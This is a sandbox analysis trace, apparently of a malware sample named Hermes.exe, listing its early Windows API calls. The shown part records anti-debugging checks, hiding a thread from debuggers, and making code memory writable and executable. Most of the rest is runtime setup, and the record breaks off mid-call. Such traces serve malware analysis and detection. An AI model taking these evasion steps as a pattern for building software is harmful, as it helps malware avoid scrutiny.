# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: May 15 2019 18:28:42 # Log Creation Date: 24.05.2019 16:55:21.706 Process: id = "1" image_name = "hermes.exe" filename = "c:\\users\\fd1hvy\\desktop\\hermes.exe" page_root = "0x72b34000" os_pid = "0xf4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\Hermes.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xf30 [0045.541] LocalAlloc (uFlags=0x0, uBytes=0xa8) returned 0xf60bf8 [0045.544] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0045.549] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0045.559] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19ff14 | out: Wow64Process=0x19ff14) returned 1 [0045.563] IsDebuggerPresent () returned 0 [0045.564] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0x19fdf0 | out: pbDebuggerPresent=0x19fdf0) returned 1 [0046.168] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x19fac0, ProcessInformationLength=0x8, ReturnLength=0x19fec0 | out: ProcessInformation=0x19fac0, ReturnLength=0x19fec0) returned 0xc0000353 [0046.168] NtSetInformationThread (ThreadHandle=0xfffffffffffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0 [0046.169] NtQuerySystemInformation (in: SystemInformationClass=0x23, SystemInformation=0x19fed0, Length=0x2, ResultLength=0x0 | out: SystemInformation=0x19fed0, ResultLength=0x0) returned 0x0 [0046.169] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x19fee0, Length=0x0, ResultLength=0x19fec8 | out: SystemInformation=0x19fee0, ResultLength=0x19fec8*=0x9fc4) returned 0xc0000004 [0046.169] LocalAlloc (uFlags=0x0, uBytes=0x13f88) returned 0xf6c580 [0046.170] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0xf6c580, Length=0x13f88, ResultLength=0x0 | out: SystemInformation=0xf6c580, ResultLength=0x0) returned 0x0 [0046.273] LocalFree (hMem=0xf6c580) returned 0x0 [0046.331] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x19fb08, nSize=0xfe | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\hermes.exe")) returned 0x22 [0046.335] NtOpenFile (in: FileHandle=0x19fabc, DesiredAccess=0x80100080, ObjectAttributes=0x19fa80*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x19faac, ShareAccess=0x3, OpenOptions=0x60 | out: FileHandle=0x19fabc*=0x148, IoStatusBlock=0x19faac*(Status=0x0, Pointer=0x28600000000, Information=0x1)) returned 0x0 [0046.335] NtCreateSection (in: SectionHandle=0x19fab8, DesiredAccess=0x4, ObjectAttributes=0x19fa90*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x148 | out: SectionHandle=0x19fab8*=0x14c) returned 0x0 [0046.336] NtMapViewOfSection (in: SectionHandle=0x14c, ProcessHandle=0xffffffffffffffff, BaseAddress=0x19faac*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x19fdbc00000000, ViewSize=0x19faa4*=0x0, InheritDisposition=0x100000000, AllocationType=0x0, AccessProtection=0x0 | out: BaseAddress=0x19faac*=0x0, SectionOffset=0x19fdbc00000000, ViewSize=0x19faa4*=0x0) returned 0xc00000f6 [0046.336] NtClose (Handle=0x14c) returned 0x0 [0046.337] NtClose (Handle=0x148) returned 0x0 [0046.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x40, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x20) returned 0x0 [0046.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x4, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x2) returned 0x0 [0046.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x40, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x20) returned 0x0 [0046.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x4, OldAccessProtection=0x19fde8 | out: BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fde8*=0x80) returned 0x0 [0046.357] LocalAlloc (uFlags=0x0, uBytes=0x3e6c) returned 0xf6c580 [0048.341] LocalFree (hMem=0xf6c580) returned 0x0 [0048.342] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x75e90000 [0048.347] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.348] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.348] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.349] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.349] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.350] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.373] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x77920000 [0048.374] GetModuleHandleA (lpModuleName="OLEAUT32.dll") returned 0x75bb0000 [0048.376] GetModuleHandleA (lpModuleName="WTSAPI32.dll") returned 0x742b0000 [0048.377] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x75e90000 [0048.385] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.386] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.386] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.387] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.398] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.406] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.407] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77bb0000 [0048.408] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x74b70000 [0048.409] CloseHandle (hObject=0xdeadc0de) returned 0 [0048.410] VirtualQuery (in: lpAddress=0x782c30, lpBuffer=0x19f0b8, dwLength=0x1c | out: lpBuffer=0x19f0b8*(BaseAddress=0x782000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x531000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0048.410] RtlUnwind (TargetFrame=0x19ff48, TargetIp=0x4433fc, ExceptionRecord=0x0, ReturnValue=0x0) [0048.411] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0xf60bf8, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fa94, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fa94, ResultLength=0x0) returned 0x80000002 [0048.411] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0xccd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fa94, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fa94, ResultLength=0x0) returned 0x80000002 [0048.437] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x19fe9c, lpSystemAffinityMask=0x19fedc | out: lpProcessAffinityMask=0x19fe9c, lpSystemAffinityMask=0x19fedc) returned 1 [0048.437] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x1) returned 0x1 [0048.438] Sleep (dwMilliseconds=0x0) [0048.446] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x1) returned 0x1 [0048.447] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x2) returned 0x0 [0048.447] Sleep (dwMilliseconds=0x0) [0048.470] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x0) returned 0x0 [0048.470] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x4) returned 0x0 [0048.471] Sleep (dwMilliseconds=0x0) [0048.476] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x0) returned 0x0 [0048.476] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x8) returned 0x0 [0048.477] Sleep (dwMilliseconds=0x0) [0048.479] SetThreadAffinityMask (hThread=0xfffffffe, dwThreadAffinityMask=0x0) returned 0x0 [0048.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19efe4 | out: lpSystemTimeAsFileTime=0x19efe4*(dwLowDateTime=0x965e80a3, dwHighDateTime=0x1d51251)) [0048.483] GetCurrentProcessId () returned 0xf4c [0048.483] GetCurrentThreadId () returned 0xf30 [0048.483] GetTickCount () returned 0x20d35 [0048.483] QueryPerformanceCounter (in: lpPerformanceCount=0x19efdc | out: lpPerformanceCount=0x19efdc*=13448684662) returned 1 [0048.483] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2990000 [0048.484] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0048.484] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0048.484] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0048.484] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0048.484] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0048.484] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0048.484] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0048.485] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0048.485] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0048.485] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0048.485] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0048.485] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0048.485] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0048.485] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0048.485] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0048.486] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0048.486] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0048.486] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0048.486] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0048.486] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0048.487] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0048.487] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x214) returned 0x29905a8 [0048.487] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0048.487] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0048.487] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0048.487] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0048.487] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0048.488] GetCurrentThreadId () returned 0xf30 [0048.488] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\Hermes.exe\" " [0048.488] GetEnvironmentStringsW () returned 0xf6c580* [0048.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0048.488] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x565) returned 0x29907c8 [0048.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x29907c8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0048.488] FreeEnvironmentStringsW (penv=0xf6c580) returned 1 [0048.488] GetStartupInfoA (in: lpStartupInfo=0x19ef34 | out: lpStartupInfo=0x19ef34*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0048.488] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x8, Size=0x800) returned 0x2990d38 [0048.489] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0048.489] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0048.489] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0048.489] SetHandleCount (uNumber=0x20) returned 0x20 [0048.489] GetLastError () returned 0x0 [0048.489] SetLastError (dwErrCode=0x0) [0048.489] GetLastError () returned 0x0 [0048.489] SetLastError (dwErrCode=0x0) [0048.489] GetLastError () returned 0x0 [0048.489] SetLastError (dwErrCode=0x0) [0048.489] GetACP () returned 0x4e4 [0048.489] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x220) returned 0x2991540 [0048.489] GetLastError () returned 0x0 [0048.489] SetLastError (dwErrCode=0x0) [0048.489] IsValidCodePage (CodePage=0x4e4) returned 1 [0048.489] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19ef14 | out: lpCPInfo=0x19ef14) returned 1 [0048.489] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19e9e0 | out: lpCPInfo=0x19e9e0) returned 1 [0048.489] GetLastError () returned 0x0 [0048.489] SetLastError (dwErrCode=0x0) [0048.490] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19e970 | out: lpCharType=0x19e970) returned 1 [0048.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0048.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x19e758, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0048.490] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x19e9f4 | out: lpCharType=0x19e9f4) returned 1 [0048.490] GetLastError () returned 0x0 [0048.490] SetLastError (dwErrCode=0x0) [0048.490] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0048.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0048.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x19e728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᨓﻈ픺CĀ") returned 256 [0048.490] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᨓﻈ픺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0048.490] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᨓﻈ픺CĀ", cchSrc=256, lpDestStr=0x19e518, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0048.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x19ecf4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb6\x6d\x1c\xb7\x2c\xef\x19", lpUsedDefaultChar=0x0) returned 256 [0048.490] GetLastError () returned 0x0 [0048.490] SetLastError (dwErrCode=0x0) [0048.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0048.490] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19edf4, cbMultiByte=256, lpWideCharStr=0x19e748, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᨓﻈ픺CĀ") returned 256 [0048.490] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᨓﻈ픺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 